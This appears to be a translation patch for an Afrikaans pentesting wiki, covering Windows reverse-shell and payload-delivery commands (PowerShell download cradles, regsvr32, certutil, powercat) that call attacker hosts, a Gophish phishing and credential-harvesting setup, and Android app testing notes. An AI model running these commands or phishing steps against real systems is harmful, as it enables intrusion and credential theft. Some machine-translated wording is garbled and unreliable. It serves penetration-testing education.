From d6235b322591742227a316a3f1f14758a590d33a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:49:24 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 30 +-- .../phishing-methodology/README.md | 46 ++--- src/interesting-http.md | 6 +- .../android-app-pentesting/README.md | 182 +++++++++--------- .../android-applications-basics.md | 62 +++--- .../drozer-tutorial/README.md | 38 ++-- .../make-apk-accept-ca-certificate.md | 6 +- .../iis-internet-information-services.md | 30 +-- .../pentesting-web/wordpress.md | 44 ++--- src/pentesting-web/cache-deception/README.md | 36 ++-- .../client-side-template-injection-csti.md | 8 +- .../README.md | 116 +++++------ src/pentesting-web/deserialization/README.md | 114 +++++------ src/pentesting-web/open-redirect.md | 4 +- .../pocs-and-polygloths-cheatsheet/README.md | 18 +- .../postmessage-vulnerabilities/README.md | 22 +-- src/pentesting-web/reverse-tab-nabbing.md | 14 +- ...inclusion-edge-side-inclusion-injection.md | 30 +-- src/pentesting-web/websocket-attacks.md | 40 ++-- .../xss-cross-site-scripting/README.md | 136 +++++++------ .../server-side-xss-dynamic-pdf.md | 26 +-- src/todo/interesting-http.md | 2 +- .../create-msi-with-wix.md | 6 +- 23 files changed, 513 insertions(+), 503 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index c6f940c14..a66227ecf 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Proses wat netwerkoproep uitvoer: **powershell.exe**\ -Payload op skyf geskryf: **NEE** (_ten minste nêrens waar ek kon vind met procmon !_ ) +Payload op skyf geskryf: **NEE** (_ten minste nêrens waar ek met procmon kon vind!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` @@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` -**Gedeelte deur verdediger** +**Gedig deur verdediger** #### Regsvr32 -sct [**Van hier**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -249,7 +249,7 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager regsvr** +**Jy kan 'n Koadic zombie baie maklik aflaai en uitvoer met die stager regsvr** ## Certutil @@ -263,7 +263,7 @@ Laai 'n B64exe af, dekodeer dit en voer dit uit. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` -**Gedig deur verdediger** +**Gedeelte deur verdediger** ## **Cscript/Wscript** ```bash @@ -289,7 +289,7 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` -**Gedeelte deur verdediger** +**Gedig deur verdediger** ## **MSIExec** @@ -302,7 +302,7 @@ Slachtoffer: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` -**Gedig** +**Gevind** ## **Wmic** @@ -332,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` -Jy kan hierdie tegniek gebruik om Toepassing Witlys en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skaal gevra sal word.\ +Jy kan hierdie tegniek gebruik om Toepassing Witlys en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skal gevra sal word.\ Laai net dit af en voer dit uit: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj @@ -341,11 +341,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ## **CSC** -Kompileer C# kode op die slagoffer masjien. +Kompileer C# kode in die slagoffer masjien. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` -Jy kan 'n basiese C# reverse shell van hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) +U kan 'n basiese C# reverse shell hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Nie gedetekteer nie** @@ -375,11 +375,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In die **Skale** gids, is daar 'n klomp verskillende skale. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrip en voeg by die einde van die lêer: +In die **Skale** gids, is daar 'n baie verskillende skale. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrif en voeg by die einde van die lêer: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Begin om die skrip in 'n webbediener te bedien en voer dit aan die slagoffer se kant uit: +Begin om die skrip op 'n webbediener te bedien en voer dit aan die slagoffer se kant uit: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` @@ -391,7 +391,7 @@ Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019). [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Laai af, begin 'n webbediener, begin die luisteraar, en voer dit op die slagoffer se kant uit: +Laai af, begin 'n webbediener, begin die luisteraar, en voer dit aan die slagoffer se kant uit: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Skep 'n powershell-lanser, stoor dit in 'n lêer en laai dit af en voer dit uit. +Skep 'n powershell-lancer, stoor dit in 'n lêer en laai dit af en voer dit uit. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -447,7 +447,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## Meer [PS>Attack](https://github.com/jaredhaight/PSAttack) PS-konsol met 'n paar offensiewe PS-modules vooraf gelaai (gecyfer)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensiewe PS-modules en proxy-detektering (IEX) ## Verwysings diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 04061a426..fd088e706 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -22,14 +22,14 @@ ### Domeinnaam Variasie Tegnieke - **Sleutelwoord**: Die domeinnaam **bevat** 'n belangrike **sleutelwoord** van die oorspronklike domein (bv., zelster.com-management.com). -- **gehipen subdomein**: Verander die **punt in 'n hipen** van 'n subdomein (bv., www-zelster.com). +- **geverbinde subdomein**: Verander die **punt in 'n koppelteken** van 'n subdomein (bv., www-zelster.com). - **Nuwe TLD**: Dieselfde domein met 'n **nuwe TLD** (bv., zelster.org) - **Homoglyph**: Dit **vervang** 'n letter in die domeinnaam met **letters wat soortgelyk lyk** (bv., zelfser.com). - **Transposisie:** Dit **ruil twee letters** binne die domeinnaam (bv., zelsetr.com). -- **Singularisering/Pluralisering**: Voeg of verwyder “s” aan die einde van die domeinnaam (bv., zeltsers.com). +- **Enkelvoud/Meervoud**: Voeg "s" by of verwyder dit aan die einde van die domeinnaam (bv., zeltsers.com). - **Omissie**: Dit **verwyder een** van die letters uit die domeinnaam (bv., zelser.com). - **Herhaling:** Dit **herhaal een** van die letters in die domeinnaam (bv., zeltsser.com). -- **Vervanging**: Soos homoglyph maar minder stil. Dit vervang een van die letters in die domeinnaam, dalk met 'n letter in die nabye ligging van die oorspronklike letter op die sleutelbord (bv., zektser.com). +- **Vervanging**: Soos homoglyph maar minder stil. Dit vervang een van die letters in die domeinnaam, dalk met 'n letter naby die oorspronklike letter op die sleutelbord (bv., zektser.com). - **Subdomein**: Introduceer 'n **punt** binne die domeinnaam (bv., ze.lster.com). - **Invoeging**: Dit **voeg 'n letter** in die domeinnaam in (bv., zerltser.com). - **Verlies van punt**: Voeg die TLD by die domeinnaam. (bv., zelstercom.com) @@ -83,7 +83,7 @@ Boonop, moenie vergeet dat as die gebruikers **enige webportaal gebruik om toega Jy kan dit aflaai van [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Laai dit af en ontspan dit binne `/opt/gophish` en voer `/opt/gophish/gophish` uit.\ -Jy sal 'n wagwoord vir die admin gebruiker in poort 3333 in die uitvoer ontvang. Daarom, toegang daartoe en gebruik daardie geloofsbriewe om die admin wagwoord te verander. Jy mag nodig hê om daardie poort na lokaal te tonnel: +Jy sal 'n wagwoord vir die admin gebruiker op poort 3333 in die uitvoer ontvang. Daarom, toegang daartoe en gebruik daardie geloofsbriewe om die admin wagwoord te verander. Jy mag nodig hê om daardie poort na lokaal te tonnel: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -159,7 +159,7 @@ Wysig `/opt/gophish/config.json` na die volgende (let op die gebruik van https): } } ``` -**Stel gophish diens op** +**Konfigureer gophish diens** Om die gophish diens te skep sodat dit outomaties begin kan word en as 'n diens bestuur kan word, kan jy die lêer `/etc/init.d/gophish` met die volgende inhoud skep: ```bash @@ -223,7 +223,7 @@ service gophish stop ### Wag & wees wettig -Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam gevang gaan word. Dan moet jy so lank as moontlik wag (ten minste 1 week) voordat die phishing assessering plaasvind. Boonop, as jy 'n bladsy oor 'n reputasionele sektor plaas, sal die reputasie wat verkry word beter wees. +Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam gevang gaan word. Dan moet jy so lank as moontlik wag (ten minste 1 week) voor die phishing assessering. Boonop, as jy 'n bladsy oor 'n reputasionele sektor plaas, sal die reputasie wat verkry word beter wees. Let daarop dat selfs al moet jy 'n week wag, jy alles nou kan klaar konfigureer. @@ -253,7 +253,7 @@ v=DMARC1; p=none ``` ### DomainKeys Identified Mail (DKIM) -Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-record is nie [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). +Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-record is nie, [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Hierdie tutoriaal is gebaseer op: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) @@ -266,8 +266,8 @@ Hierdie tutoriaal is gebaseer op: [https://www.digitalocean.com/community/tutori ### Toets jou e-pos konfigurasie telling -Jy kan dit doen deur [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Net toegang tot die bladsy en 'n e-pos na die adres wat hulle jou gee, te stuur: +Jy kan dit doen met [https://www.mail-tester.com/](https://www.mail-tester.com)\ +Besoek net die bladsy en stuur 'n e-pos na die adres wat hulle jou gee: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` @@ -289,7 +289,7 @@ Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` -### ​Verwydering van Spamhouse Swartlys +### Verwydering van Spamhouse Swartlys Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of jou domein deur spamhouse geblokkeer word. Jy kan versoek dat jou domein/IP verwyder word by: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) @@ -301,15 +301,15 @@ Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of ### Stuurprofiel -- Stel 'n **naam om die** sender profiel te identifiseer -- Besluit vanaf watter rekening jy die phishing e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._ +- Stel 'n **naam om die** senderprofiel te identifiseer +- Besluit vanaf watter rekening jy die phishing-e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._ - Jy kan die gebruikersnaam en wagwoord leeg laat, maar maak seker om die Ignore Certificate Errors te merk -![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!NOTE] > Dit word aanbeveel om die "**Stuur Toets E-pos**" funksionaliteit te gebruik om te toets of alles werk.\ -> Ek sou aanbeveel om **die toets e-posse na 10min e-pos adresse te stuur** om te verhoed dat jy op 'n swartlys geplaas word tydens toetse. +> Ek sou aanbeveel om **die toets e-posse na 10min e-posadresse te stuur** om te verhoed dat jy geblokkeer word terwyl jy toetse doen. ### E-pos Sjabloon @@ -317,7 +317,7 @@ Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of - Skryf dan 'n **onderwerp** (niks vreemd nie, net iets wat jy sou verwag om in 'n gewone e-pos te lees) - Maak seker jy het "**Voeg Volgbeeld**" gemerk - Skryf die **e-pos sjabloon** (jy kan veranderlikes gebruik soos in die volgende voorbeeld): -```markup +```html @@ -338,7 +338,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbeveel word om 'n handtekening van 'n e-pos van die kliënt te gebruik. Voorstelle: - Stuur 'n e-pos na 'n **nie-bestaande adres** en kyk of die antwoord enige handtekening het. -- Soek na **publieke e-posse** soos info@ex.com of press@ex.com of public@ex.com en stuur hulle 'n e-pos en wag vir die antwoord. +- Soek na **openbare e-posse** soos info@ex.com of press@ex.com of public@ex.com en stuur hulle 'n e-pos en wag vir die antwoord. - Probeer om **'n geldige ontdekte** e-pos te kontak en wag vir die antwoord. ![](<../../images/image (80).png>) @@ -356,8 +356,8 @@ Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbev ![](<../../images/image (826).png>) > [!NOTE] -> Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en 'n paar toetse in plaaslike omgewing doen (miskien met 'n Apache-bediener) **tot jy hou van die resultate.** Skryf dan daardie HTML-kode in die boks.\ -> Let daarop dat as jy **sommige statiese hulpbronne** vir die HTML nodig het (miskien sommige CSS en JS bladsye) jy dit in _**/opt/gophish/static/endpoint**_ kan stoor en dit dan kan benader vanaf _**/static/\**_ +> Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en 'n paar toetse in plaaslik moet doen (miskien met 'n Apache-bediener) **totdat jy hou van die resultate.** Skryf dan daardie HTML-kode in die boks.\ +> Let daarop dat as jy **sommige statiese hulpbronne** vir die HTML moet **gebruik** (miskien sommige CSS en JS bladsye) jy dit in _**/opt/gophish/static/endpoint**_ kan stoor en dit dan kan benader vanaf _**/static/\**_ > [!NOTE] > Vir die omleiding kan jy **die gebruikers na die wettige hoofwebblad** van die slagoffer omlei, of hulle na _/static/migration.html_ omlei, byvoorbeeld, 'n **draaiwiel (**[**https://loading.io/**](https://loading.io)**) vir 5 sekondes plaas en dan aandui dat die proses suksesvol was**. @@ -373,7 +373,7 @@ Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbev Laastens, skep 'n veldtog deur 'n naam, die e-pos sjabloon, die landing page, die URL, die sending profiel en die groep te kies. Let daarop dat die URL die skakel sal wees wat aan die slagoffers gestuur word. -Let daarop dat die **Sending Profile toelaat om 'n toets e-pos te stuur om te sien hoe die finale phishing e-pos sal lyk**: +Let daarop dat die **Sending Profile toelaat om 'n toets e-pos te stuur om te sien hoe die finale phishing e-pos gaan lyk**: ![](<../../images/image (192).png>) @@ -408,13 +408,13 @@ Die vorige aanval is redelik slim aangesien jy 'n werklike webwerf naboots en di Hierdie is waar gereedskap soos [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) en [**muraena**](https://github.com/muraenateam/muraena) nuttig is. Hierdie gereedskap sal jou toelaat om 'n MitM-agtige aanval te genereer. Basies werk die aanvalle soos volg: 1. Jy **naboots die aanmeld** vorm van die werklike webblad. -2. Die gebruiker **stuur** sy **akkrediteer** na jou vals bladsy en die gereedskap stuur dit na die werklike webblad, **om te kyk of die akkrediteer werk**. +2. Die gebruiker **stuur** sy **akkrediteer** na jou valse bladsy en die gereedskap stuur dit na die werklike webblad, **om te kyk of die akkrediteer werk**. 3. As die rekening met **2FA** geconfigureer is, sal die MitM-bladsy daarna vra en sodra die **gebruiker dit invoer**, sal die gereedskap dit na die werklike webblad stuur. 4. Sodra die gebruiker geverifieer is, sal jy (as aanvaller) **die akkrediteer, die 2FA, die koekie en enige inligting** van elke interaksie wat jy terwyl die gereedskap 'n MitM uitvoer, gevang het. ### Via VNC -Wat as jy in plaas van **die slagoffer na 'n kwaadwillige bladsy te stuur** wat dieselfde lyk as die oorspronklike, hom na 'n **VNC-sessie met 'n blaaskans wat aan die werklike webblad gekoppel is** stuur? Jy sal in staat wees om te sien wat hy doen, die wagwoord, die MFA wat gebruik word, die koekies...\ +Wat as jy in plaas van **die slagoffer na 'n kwaadwillige bladsy** met dieselfde voorkoms as die oorspronklike, hom na 'n **VNC-sessie met 'n blaaskans wat aan die werklike webblad gekoppel is** stuur? Jy sal in staat wees om te sien wat hy doen, die wagwoord, die MFA wat gebruik word, die koekies...\ Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detecting the detection @@ -422,13 +422,13 @@ Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Dit is duidelik dat een van die beste maniere om te weet of jy betrap is, is om **jou domein in swartlyste te soek**. As dit gelys word, was jou domein op een of ander manier as verdag beskou.\ Een maklike manier om te kyk of jou domein in enige swartlys verskyn, is om [https://malwareworld.com/](https://malwareworld.com) te gebruik. -Daar is egter ander maniere om te weet of die slagoffer **aktief op soek is na verdagte phishingaktiwiteite in die natuur** soos verduidelik in: +Daar is egter ander maniere om te weet of die slagoffer **aktief op soek is na verdagte phishingaktiwiteite in die natuur**, soos verduidelik in: {{#ref}} detecting-phising.md {{#endref}} -Jy kan **'n domein met 'n baie soortgelyke naam** as die slagoffer se domein **koop en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat deur jou beheer word **wat die** **sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige soort **DNS of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hy aktief op soek is** na verdagte domeine en jy sal baie versigtig moet wees. +Jy kan **'n domein met 'n baie soortgelyke naam** as die slagoffer se domein **koop en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat deur jou beheer word **wat die** **sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige soort **DNS of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hy aktief op soek is** na verdagte domeine en jy sal baie stil moet wees. ### Evaluate the phishing diff --git a/src/interesting-http.md b/src/interesting-http.md index 49dd3c60a..0a09e5824 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -2,11 +2,11 @@ # Verwysingskoppe en beleid -Verwysing is die kop wat deur blaaiers gebruik word om aan te dui watter die vorige bladsy was. +Verwysing is die kop wat deur blaaiers gebruik word om aan te dui watter die vorige bladsy was wat besoek is. ## Sensitiewe inligting gelekt -As daar op 'n stadium binne 'n webblad enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat besoek of voor te stel (sosiale ingenieurswese) 'n URL wat deur die aanvaller beheer word. Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek te eksfiltreer. +As daar op 'n stadium binne 'n webblad enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat besoek 'n URL wat deur die aanvaller beheer word (sosiale ingenieurswese). Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek te eksfiltreer. ## Versagting @@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url ## Teen-Mitigering Jy kan hierdie reël oorskry deur 'n HTML meta-tag te gebruik (die aanvaller moet 'n HTML-inspuiting benut): -```markup +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index a145c21c1..3baf35f40 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,14 +13,14 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Dit is die hoofgereedskap wat jy nodig het om met 'n Android-toestel (geëmuleer of fisies) te verbind.\ -**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skulpopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies. +**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak. Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik. ## Smali -Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\ -[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit **weer te compileer**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**. +Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te kompileren.\ +[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te kompileren](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**. ## Ander interessante truuks @@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor): +- Kombineer alle splits en basis apk's met [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -56,28 +56,28 @@ Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, ** **Firebase** -Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat FIrebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basiese begrip van die toepassing - Manifest.xml, strings.xml -Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer se uitbreiding na .zip te hernoem en dit dan uit te pak. +Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaam te hernoem na .zip en dit dan uit te pak. **Kwesbaarhede** wat in die **Manifest.xml** geïdentifiseer is, sluit in: -- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel. +- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel. - **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is. -- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat. +- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat. - **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut. - **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word. - **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede. - **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie. -Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon. +Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon. ### Tapjacking **Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** geloods word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\ -In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**. +In werklikheid, dit is **blind die gebruiker van kennis dat hulle eintlik aksies op die slagoffer app uitvoer**. Vind meer inligting in: @@ -87,7 +87,7 @@ tapjacking.md ### Taak Hijacking -'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike 